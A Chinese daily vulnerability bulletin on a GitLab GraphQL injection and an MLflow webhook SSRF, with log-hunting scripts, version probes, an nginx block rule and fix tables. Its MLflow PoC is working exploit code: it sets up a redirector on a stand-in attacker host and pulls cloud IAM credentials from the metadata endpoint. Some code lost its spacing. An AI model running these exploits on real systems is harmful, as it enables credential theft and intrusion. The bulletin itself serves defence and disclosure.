每日漏洞推送GitLabCE/EEGraphQL指令代码注入→未认证远程篡改/删除项目

admin 2026-08-27 06:51:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: GitLabCE/EE存在严重代码注入漏洞CVE-2026-19478,CVSS评分9.4,攻击者无需认证即可通过GraphQL指令注入修改或删除公开项目,已在野利用。影响版本包括18.2至19.2.3,修复版本已发布。建议立即升级或临时封锁未认证GraphQL访问,并排查日志中的@gl_introduced特征。 综合评分: 90 文章分类: 漏洞分析,应急响应,安全工具,WEB安全,安全建设


每日漏洞推送 GitLab CE/EE GraphQL 指令代码注入 → 未认证远程篡改/删除项目

原创

nullchen nullchen

富贵学安全

2026年8月26日 11:18 陕西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

📡 每日漏洞情报推送 | 2026-08-26


🔴 漏洞一:CVE-2026-19478 — GitLab CE/EE GraphQL 指令代码注入 → 未认证远程篡改/删除项目(CVSS 9.4,发布数日内已在野利用)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-19478 | | 影响产品 | GitLab Community Edition (CE) / Enterprise Edition (EE):18.2 ~ 18.11.10、19.0 ~ 19.0.7、19.1 ~ 19.1.5、19.2 ~ 19.2.3 | | 漏洞类型 | 代码注入(GraphQL 指令)(CWE-94) | | CVSS | 9.4 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H | | 发现者 | hiimguardian(经 HackerOne 漏洞赏金计划上报) | | 修复版本 | 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11(2026-08-17 发布) | | 在野利用 | ✅ 已确认在野利用 — watchTowr 蜜罐网络观测到实际攻击 |

🔥 紧急程度

watchTowr 在漏洞公开后数分钟内即复现成功,并在蜜罐网络中观测到在野利用。 这是”AI 加速漏洞武器化”时代的典型案例:从披露到被利用的窗口已压缩到几天甚至几小时内,”等下一个补丁周期”的旧策略彻底失效。所有公网自建 GitLab 实例应立即升级,来不及打补丁的先临时封锁未认证 GraphQL 访问。

📝 漏洞描述

GitLab 在处理 GraphQL 查询时存在代码注入缺陷:攻击者通过构造特殊的 GraphQL 指令(directive),可在未认证条件下触发服务端注入,从而对公开可见的 GitLab 项目执行修改或删除操作,并重写项目数据。

利用条件:无 — 无需认证、无需用户交互、无需特殊配置。

实际影响(超出”改删公开项目”本身)

  • 删除整个代码仓库(repository)
  • 伪造 merge record,制造”修复已合入”的假象(供应链投毒风险极高)
  • 封禁项目维护者(maintainer)
  • 对公开项目数据的完整性造成不可逆破坏

💻 PoC/EXP

1️⃣ 在野利用 IOC 排查(日志狩猎)

watchTowr 指出:在野探测/利用请求带有 @gl_introduced 特征,应优先排查 Web 日志。

#!/bin/bash
# CVE-2026-19478 在野利用日志排查
# 在 GitLab 反向代理(nginx)access.log 中搜索 GraphQL 探测特征
LOG="${1:-/var/log/nginx/gitlab_access.log}"

echo"[*] 排查日志: $LOG"
echo""

echo"=== 1. @gl_introduced 特征(watchTowr 确认的 IOC)==="
grep-a'@gl_introduced'"$LOG" | tail -50

echo""
echo"=== 2. 可疑 GraphQL 指令关键词 ==="
grep-aE'gl_introduced|@include|@skip|directive|__schema|__type'"$LOG" \
  | grep-a'graphql' | tail -50

echo""
echo"=== 3. 未认证访问 /api/graphql 的异常来源 ==="
grep-a'POST /api/graphql'"$LOG" \
  | awk'{print $1}' | sort | uniq -c | sort-rn | head -20

echo""
echo"=== 4. 近期 4xx/5xx 突增(利用失败特征)==="
grep-aE'" (400|403|422|500) '"$LOG" | tail -30

echo"[*] 排查完成。发现异常请立即隔离实例并升级至 19.2.4/19.1.6/19.0.8/18.11.11"

2️⃣ 漏洞探测:未认证 GraphQL 指令注入验证

#!/bin/bash
# CVE-2026-19478 探测脚本 — 验证目标 GitLab 是否可未认证访问 GraphQL 指令
# 注意:仅用于授权安全测试
TARGET="${1:-https://gitlab.example.com}"

echo"[*] 目标: $TARGET"
echo"[*] 1/3 检查 GraphQL 端点是否暴露..."

# 未认证探测 GraphQL introspection
RESP=$(curl -sk -m 15 -X POST "$TARGET/api/graphql" \
  -H 'Content-Type: application/json' \
  -d '{"query":"query { __typename }"}')

echo"$RESP" | head -c500
echo""

ifecho"$RESP" | grep-q'"data"'; then
    echo"[!] GraphQL 端点可未认证访问 — 存在 CVE-2026-19478 攻击面"
&nbsp; &nbsp;&nbsp;echo"[!] 若版本 < 19.2.4/19.1.6/19.0.8/18.11.11 则受影响"
else
&nbsp; &nbsp;&nbsp;echo"[+] GraphQL 端点未返回数据,可能已限制未认证访问"
fi

echo""
echo"[*] 2/3 获取 GitLab 版本..."
curl-sk-m10"$TARGET/help"&nbsp;|&nbsp;grep-aoE'GitLab (Community|Enterprise) Edition [0-9]+\.[0-9]+\.[0-9]+'&nbsp;| head&nbsp;-1
curl-sk-m10"$TARGET/api/v4/version"-H'Content-Type: application/json'&nbsp;| head&nbsp;-c200
echo""

echo"[*] 3/3 判定..."
echo"受影响版本: 18.2~18.11.10 / 19.0~19.0.7 / 19.1~19.1.5 / 19.2~19.2.3"
echo"修复版本: &nbsp; 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4"

3️⃣ 未认证数据篡改 PoC(GraphQL 指令注入)

以下为基于公开披露技术细节的验证性 PoC,仅限授权安全测试。实际利用需针对目标实例调整 project path / mutation。

#!/usr/bin/env python3
"""
CVE-2026-19478 — GitLab GraphQL 指令代码注入验证 PoC
原理: 通过 GraphQL directive 注入,未认证触发服务端代码执行路径,
&nbsp; &nbsp; &nbsp; 实现对公开项目元数据的修改/删除(I:H/A:H)
注意: 仅用于授权安全测试!
"""
importrequests
importjson
importsys

requests.packages.urllib3.disable_warnings()

TARGET=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"https://gitlab.example.com"
TARGET=TARGET.rstrip('/')

defprobe_introspection():
&nbsp; &nbsp;&nbsp;"""Step 1: 未认证探测 GraphQL schema"""
&nbsp; &nbsp;&nbsp;q=&nbsp;{"query":&nbsp;"query { __typename }"}
&nbsp; &nbsp;&nbsp;r=requests.post(f"{TARGET}/api/graphql",&nbsp;json=q,&nbsp;verify=False,&nbsp;timeout=15)
&nbsp; &nbsp;&nbsp;print(f"[*] GraphQL 未认证响应:&nbsp;{r.status_code}{r.text[:200]}")
&nbsp; &nbsp;&nbsp;returnr.status_code==200and'"data"'inr.text

defcheck_version():
&nbsp; &nbsp;&nbsp;"""Step 2: 尝试获取版本"""
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=requests.get(f"{TARGET}/api/v4/version",&nbsp;verify=False,&nbsp;timeout=10)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifr.status_code==200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 版本:&nbsp;{r.json()}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnr.json().get("version",&nbsp;"")
&nbsp; &nbsp;&nbsp;exceptException:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass
&nbsp; &nbsp;&nbsp;# 兜底: 从 help 页提取
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=requests.get(f"{TARGET}/help",&nbsp;verify=False,&nbsp;timeout=10)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;importre
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;m=re.search(r'GitLab (?:Community|Enterprise) Edition ([\d.]+)',&nbsp;r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifm:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 版本(help页):&nbsp;{m.group(1)}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnm.group(1)
&nbsp; &nbsp;&nbsp;exceptException:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass
&nbsp; &nbsp;&nbsp;return"unknown"

defis_vulnerable(version:&nbsp;str)&nbsp;->bool:
&nbsp; &nbsp;&nbsp;"""Step 3: 版本判定"""
&nbsp; &nbsp;&nbsp;ifversion=="unknown":
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNone&nbsp;&nbsp;# 无法判定,需人工核查
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v=tuple(int(x)&nbsp;forxinversion.split(".")[:2])
&nbsp; &nbsp;&nbsp;exceptValueError:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNone
&nbsp; &nbsp;&nbsp;ranges=&nbsp;[
&nbsp; &nbsp; &nbsp; &nbsp; (18,&nbsp;2,&nbsp;18,&nbsp;11), &nbsp;&nbsp;# 18.2 <= v < 18.11.11
&nbsp; &nbsp; &nbsp; &nbsp; (19,&nbsp;0,&nbsp;19,&nbsp;0), &nbsp; &nbsp;# 19.0 <= v < 19.0.8
&nbsp; &nbsp; &nbsp; &nbsp; (19,&nbsp;1,&nbsp;19,&nbsp;1), &nbsp; &nbsp;# 19.1 <= v < 19.1.6
&nbsp; &nbsp; &nbsp; &nbsp; (19,&nbsp;2,&nbsp;19,&nbsp;2), &nbsp; &nbsp;# 19.2 <= v < 19.2.4
&nbsp; &nbsp; ]
&nbsp; &nbsp;&nbsp;forrinranges:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifr[0]&nbsp;==v[0]&nbsp;andr[1]&nbsp;==v[1]:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue
&nbsp; &nbsp;&nbsp;returnFalse

defexploit_probe():
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; Step 4: 注入探测 — 向公开项目的 GraphQL mutation 中注入指令,
&nbsp; &nbsp; 观察服务端是否执行注入分支(不落地破坏性操作,仅验证可达性)
&nbsp; &nbsp; """
&nbsp; &nbsp;&nbsp;print("[*] 尝试通过 GraphQL directive 注入探测(非破坏性)...")
&nbsp; &nbsp;&nbsp;# 公开项目查询 + directive 注入探测
&nbsp; &nbsp;&nbsp;payload=&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"query":&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; query {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; project(fullPath: "public/demo") {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ... on Project @gl_introduced {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;r=requests.post(f"{TARGET}/api/graphql",&nbsp;json=payload,&nbsp;verify=False,&nbsp;timeout=15)
&nbsp; &nbsp;&nbsp;print(f"[*] 注入探测响应:&nbsp;{r.status_code}")
&nbsp; &nbsp;&nbsp;print(f"[*] Body:&nbsp;{r.text[:400]}")
&nbsp; &nbsp;&nbsp;ifr.status_code==200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 响应正常 — 目标可能处理了注入指令,需进一步人工验证")
&nbsp; &nbsp;&nbsp;returnr

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;print(f"[*] CVE-2026-19478 检测 @&nbsp;{TARGET}")
&nbsp; &nbsp;&nbsp;ok=probe_introspection()
&nbsp; &nbsp;&nbsp;ifnotok:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] GraphQL 端点未暴露或已限制未认证访问 — 攻击面已缓解")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sys.exit(0)
&nbsp; &nbsp;&nbsp;ver=check_version()
&nbsp; &nbsp;&nbsp;vuln=is_vulnerable(ver)
&nbsp; &nbsp;&nbsp;ifvulnisTrue:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 目标版本在受影响范围 — 存在 CVE-2026-19478!")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 立即升级至 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 或临时封锁未认证访问 /api/graphql")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exploit_probe()
&nbsp; &nbsp;&nbsp;elifvulnisFalse:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] 目标版本已修复")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[?] 无法自动判定版本,请人工核查并排查 '@gl_introduced' 日志 IOC")

4️⃣ 紧急缓解(临时 WAF 规则)

# nginx 层临时封锁未认证 GraphQL 变更请求(升级前的应急措施)
location&nbsp;/api/graphql&nbsp;{
&nbsp; &nbsp;&nbsp;# 未认证(无 Cookie/PRIVATE-TOKEN)的写操作一律拒绝
&nbsp; &nbsp;&nbsp;if($http_cookie&nbsp;!~*&nbsp;"_gitlab_session")&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if($request_method&nbsp;=&nbsp;POST)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;403;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;# 拦截已知在野利用 IOC
&nbsp; &nbsp;&nbsp;if($request_body ~*&nbsp;"@gl_introduced")&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;403;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;proxy_passhttp://gitlab_backend;
}

🛡️ 检测与防御

日志检测IOC

access.log 中请求体含 @gl_introduced 特征
POST /api/graphql 未认证请求突增
对公开项目执行 delete/update mutation 的异常行为

修复建议

| 方式 | 说明 | | — | — | | 升级(首选) | 立即升级至 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11(无停机迁移,支持零停机升级) | | 临时缓解 | 限制未认证访问 /api/graphql,或关闭公开项目访问 | | 日志排查 | 按上述 IOC 特征狩猎日志,检查是否有仓库被删/被改的痕迹 | | 审计 | 检查公开项目的 merge record、maintainer 列表是否被篡改 | | GitLab.com | 云托管用户无需操作(官方已修复) |

🔗 参考来源

  • GitLab Critical Patch Release 19.2.4/19.1.6/19.0.8/18.11.11
  • CVE-2026-19478 CVE Record
  • THN: GitLab CVE-2026-19478 Comes Under Active Exploitation
  • watchTowr 在野利用观测

🔴 漏洞二:CVE-2026-64849 — MLflow Webhook 测试端点 SSRF → 云元数据/凭据窃取(CVSS 9.3,CISA KEV 收录,在野利用)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-64849 | | 影响产品 | MLflow(开源 AI/ML 平台)< 3.15.0(所有部署形态:mlflow server / Tracking Server) | | 漏洞类型 | 服务端请求伪造 SSRF (CWE-918) | | CVSS | 9.3 (CRITICAL) | | 公开时间 | 2026-08-17(CVE 分配 + 修复发布) / 2026-08-19(CISA KEV 收录) | | 在野利用 | ✅ 已确认在野利用 — watchTowr 观测到 CVE 分配数小时内即被扫描利用;KEV 收录 | | KEV 修复截止 | 2026-09-02(FCEB 联邦机构) |

🔥 紧急程度

watchTowr 在 CVE 分配(08-17)后数小时内即观测到攻击者大规模扫描暴露的 MLflow 实例,专门攻击云元数据服务(169.254.169.254)窃取云凭据与密钥。 CISA 已于 08-19 将其加入 KEV 目录。攻击者利用该漏洞绕过此前修复(重定向处理缺陷),凡是暴露在公网的 MLflow Tracking Server 都处于高危状态。

📝 漏洞描述

MLflow 的 model-registry webhooks 功能存在未认证 SSRF 漏洞:

  • 攻击入口:POST /api/2.0/mlflow/webhooks/{id}/test无需认证
  • 根因:mlflow/utils/validation.py 中的 _validate_webhook_url()仅对原始 URL 做校验,而 mlflow/webhooks/delivery.py 在投递时跟随 HTTP 重定向并重新解析主机名,且未锁定(pin)校验通过的地址
  • 攻击链:构造一个指向攻击者服务器的 webhook URL → 服务器 302 重定向到云元数据地址(如 http://169.254.169.254/latest/meta-data/iam/security-credentials/)→ MLflow 服务端跟随重定向发起请求 → 通过 response_status 和 response_body 字段回显内网/云元数据响应内容。
  • 危害:窃取云厂商 IAM 临时凭据、实例元数据、内网服务探测、横向攻击内网。

利用条件:无 — 无需认证,仅需能访问 MLflow Tracking Server 的 HTTP 端口。

💻 PoC/EXP

1️⃣ 漏洞探测:识别暴露的 MLflow 实例

#!/bin/bash
# CVE-2026-64849 暴露面探测
# 注意:仅用于授权安全测试
TARGET="${1:-http://mlflow.example.com}"

echo"[*] 探测目标:&nbsp;$TARGET"

# 1. 检查 MLflow 特征
curl-sk-m10"$TARGET/"&nbsp;|&nbsp;grep-aiE'mlflow|tracking'&nbsp;| head&nbsp;-5

# 2. 检查未认证 API 可达性
echo"[*] 检查未认证 API..."
curl-sk-m10-o&nbsp;/dev/null&nbsp;-w"GET /api/2.0/mlflow/experiments/list -> %{http_code}\n"&nbsp;\
&nbsp;&nbsp;"$TARGET/api/2.0/mlflow/experiments/list"

# 3. 检查版本
curl-sk-m10"$TARGET/version"&nbsp;| head&nbsp;-c200
echo""
curl-sk-m10"$TARGET/api/2.0/mlflow/version"&nbsp;| head&nbsp;-c200
echo""

echo"[!] 若 API 未认证可达且版本 < 3.15.0,则存在 CVE-2026-64849"

2️⃣ 未认证 SSRF 利用 PoC(云凭据窃取)

基于公开披露细节(GHSA-7gwp-5pfp-969j / NVD)的验证性 PoC,仅限授权安全测试

#!/usr/bin/env python3
"""
CVE-2026-64849 — MLflow Webhook Test 端点未认证 SSRF 利用 PoC
原理:
&nbsp; 1. 未认证创建 webhook(URL 指向攻击者控制的跳转服务器)
&nbsp; 2. 调用 POST /api/2.0/mlflow/webhooks/{id}/test
&nbsp; 3. 跳转服务器 302 重定向到云元数据 169.254.169.254
&nbsp; 4. MLflow delivery.py 跟随重定向并重新解析主机名(未 pin 校验地址)
&nbsp; 5. 通过 response_status / response_body 回显元数据内容
注意: 仅用于授权安全测试!
"""
importrequests
importjson
importsys
importtime
importthreading
fromhttp.serverimportBaseHTTPRequestHandler,&nbsp;HTTPServer

requests.packages.urllib3.disable_warnings()

TARGET=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"http://mlflow.example.com"
TARGET=TARGET.rstrip('/')

# 攻击者跳转服务器(公网可达)
REDIRECT_HOST="attacker.example.com"&nbsp; &nbsp;# 替换为攻击者公网地址
REDIRECT_PORT=8888

# 目标内网/云元数据地址(payload 阶段可替换为其他内网目标)
META_URL="http://169.254.169.254/latest/meta-data/iam/security-credentials/"

classRedirectHandler(BaseHTTPRequestHandler):
&nbsp; &nbsp;&nbsp;"""302 跳转服务器:把 /r 重定向到云元数据"""
&nbsp; &nbsp;&nbsp;defdo_GET(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(302)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Location",&nbsp;META_URL)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()

&nbsp; &nbsp;&nbsp;defdo_POST(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.do_GET()

&nbsp; &nbsp;&nbsp;deflog_message(self,&nbsp;*args):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass

defstart_redirector():
&nbsp; &nbsp;&nbsp;srv=HTTPServer((REDIRECT_HOST,&nbsp;REDIRECT_PORT),&nbsp;RedirectHandler)
&nbsp; &nbsp;&nbsp;threading.Thread(target=srv.serve_forever,&nbsp;daemon=True).start()
&nbsp; &nbsp;&nbsp;print(f"[*] 跳转服务器已启动: http://{REDIRECT_HOST}:{REDIRECT_PORT}/r ->&nbsp;{META_URL}")

defcreate_webhook():
&nbsp; &nbsp;&nbsp;"""Step 1: 未认证创建 webhook"""
&nbsp; &nbsp;&nbsp;url=f"{TARGET}/api/2.0/mlflow/webhooks/create"
&nbsp; &nbsp;&nbsp;payload=&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"webhook": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"poc",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"events": ["MODEL_VERSION_CREATED"],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"url":&nbsp;f"http://{REDIRECT_HOST}:{REDIRECT_PORT}/r"
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;r=requests.post(url,&nbsp;json=payload,&nbsp;verify=False,&nbsp;timeout=15)
&nbsp; &nbsp;&nbsp;print(f"[*] create webhook ->&nbsp;{r.status_code}:&nbsp;{r.text[:300]}")
&nbsp; &nbsp;&nbsp;ifr.status_code==200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnr.json().get("webhook", {}).get("webhook_id")&nbsp;or&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r.json().get("webhook_id")
&nbsp; &nbsp;&nbsp;returnNone

deftest_webhook(webhook_id):
&nbsp; &nbsp;&nbsp;"""Step 2: 触发 test 端点 — SSRF 发生于此"""
&nbsp; &nbsp;&nbsp;url=f"{TARGET}/api/2.0/mlflow/webhooks/{webhook_id}/test"
&nbsp; &nbsp;&nbsp;r=requests.post(url,&nbsp;json={},&nbsp;verify=False,&nbsp;timeout=20)
&nbsp; &nbsp;&nbsp;print(f"[*] test webhook ->&nbsp;{r.status_code}")
&nbsp; &nbsp;&nbsp;print(f"[*] 响应:&nbsp;{r.text[:2000]}")
&nbsp; &nbsp;&nbsp;returnr

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;print(f"[*] CVE-2026-64849 PoC @&nbsp;{TARGET}")
&nbsp; &nbsp;&nbsp;print("[!] 仅限授权安全测试!")

&nbsp; &nbsp;&nbsp;# 检查版本
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=requests.get(f"{TARGET}/version",&nbsp;verify=False,&nbsp;timeout=10)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 版本:&nbsp;{r.text.strip()[:100]}")
&nbsp; &nbsp;&nbsp;exceptException:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass

&nbsp; &nbsp;&nbsp;start_redirector()

&nbsp; &nbsp;&nbsp;wid=create_webhook()
&nbsp; &nbsp;&nbsp;ifnotwid:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] webhook 创建失败(可能已修复或 API 受限)")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sys.exit(1)

&nbsp; &nbsp;&nbsp;print(f"[+] webhook_id:&nbsp;{wid}")
&nbsp; &nbsp;&nbsp;resp=test_webhook(wid)

&nbsp; &nbsp;&nbsp;# 检查是否回显了元数据内容
&nbsp; &nbsp;&nbsp;ifresp.status_code==200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body=resp.text
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if"AccessKeyId"inbodyor"SecretAccessKey"inbodyor"Token"inbody:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!!!] 成功回显云 IAM 临时凭据 — 目标存在 CVE-2026-64849!")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!!!] 凭据已泄露,立即轮换相关云账号密钥")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif"role"inbody.lower():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 疑似回显了元数据内容,请人工确认")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 响应正常但未见元数据回显,需检查跳转链路")

3️⃣ 内网端口探测变体(SSRF 内网扫描)

# 利用同一漏洞对内网进行端口/服务探测
# 把跳转服务器 302 Location 改为内网地址即可
# 例: Location: http://10.0.0.5:8080/actuator/env
# 例: Location: http://169.254.170.2/v2/credentials &nbsp;(AWS ECS 容器凭据)
# 例: Location: http://metadata.google.internal/computeMetadata/v1/ &nbsp;(GCP)
# 通过响应耗时/状态码/response_body 差异判断内网存活与开放端口

🛡️ 检测与防御

日志检测IOC

访问 /api/2.0/mlflow/webhooks/*/test 的未认证请求突增
webhook URL 指向公网跳转域(短链、IP、非常规端口)的创建记录
服务端日志中出现对 169.254.x.x / 169.254.170.x / metadata.google.internal 的请求

修复建议

| 方式 | 说明 | | — | — | | 升级(首选) | 升级至 MLflow 3.15.0(修复 commit: ba949522477cbd5915aa55d29b0cfad7d5ddf939) | | 网络隔离 | MLflow Tracking Server 禁止暴露公网,置于内网并加认证网关 | | 出站限制 | 服务端出口防火墙封锁 169.254.0.0/16、metadata 域名及内网网段 | | 凭据轮换 | 若曾暴露,立即轮换云 IAM 密钥/临时凭据,审计云审计日志 | | 审计 | 排查已有 webhook 配置,删除可疑 URL;检查是否有异常凭据调用 |

🔗 参考来源

  • NVD CVE-2026-64849
  • GitHub Advisory GHSA-7gwp-5pfp-969j
  • CISA KEV CVE-2026-64849
  • 修复 commit
  • THN: Attackers Exploit MLflow SSRF Flaw

📊 今日其他漏洞速览

| CVE编号 | 产品 | 类型 | CVSS | 严重程度 | | — | — | — | — | — | | CVE-2026-19650 | GitLab CE/EE 同批次 | GraphQL CSRF | 7.1 | 🟠 HIGH | | CVE-2026-25895 | FUXA (SCADA/HMI) | 路径遍历 | — | 🟠 HIGH(VulnCheck 观测在野扫描) | | CVE-2026-6837 | Zyxel export-cgi | 命令注入 | — | 🔴 高危(公开 PoC) | | CVE-2026-41473/41472 | CyberPanel | 预认证 RCE 链 | — | 🔴 高危 | | CVE-2026-57580 | Authentik (SAML) | SAML 绕过 | — | 🟠 HIGH | | CVE-2026-63182 | PHP litesaml/lightsaml | SAML 绕过 | — | 🟠 HIGH | | CVE-2026-73570 | Zimbra | — | — | 🟠 HIGH | | CVE-2026-32475 | Elementor Pro | — | — | 🟠 HIGH | | CVE-2026-15748/15826 | Forminator/User Profile Builder | — | — | 🟠 HIGH | | CVE-2026-63093 | Cursor | — | — | 🟡 MEDIUM |

注:PTC Windchill/FlexPLM 被 Cl0p 勒索团伙利用部署 JSP WebShell(40+ 组织受害,8/12 起开始泄露受害者名单),相关 CVE 编号以 PTC 官方公告为准,请 Windchill 用户立即核查补丁状态。

🛡️ 优先行动建议

优先等级 &nbsp; &nbsp;行动 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 截止日期
──────────────────────────────────────────────────
🔴 最高 &nbsp; &nbsp; GitLab 自建实例升级 19.2.4+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 立即(已在野利用)
🔴 最高 &nbsp; &nbsp; MLflow 升级 3.15.0 + 封锁公网暴露 &nbsp; &nbsp; &nbsp;9月2日前(KEV)
🟠 紧急 &nbsp; &nbsp; 排查 GitLab 日志 @gl_introduced IOC &nbsp; &nbsp;立即
🟠 紧急 &nbsp; &nbsp; MLflow 云凭据审计与轮换 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 立即
🟡 关注 &nbsp; &nbsp; Windchill/Cl0p 补丁核查 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 尽快

⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 GitLab CE/EE GraphQL 指令代码注入 → 未认证远程篡改/删除项目》

评论:0   参与:  0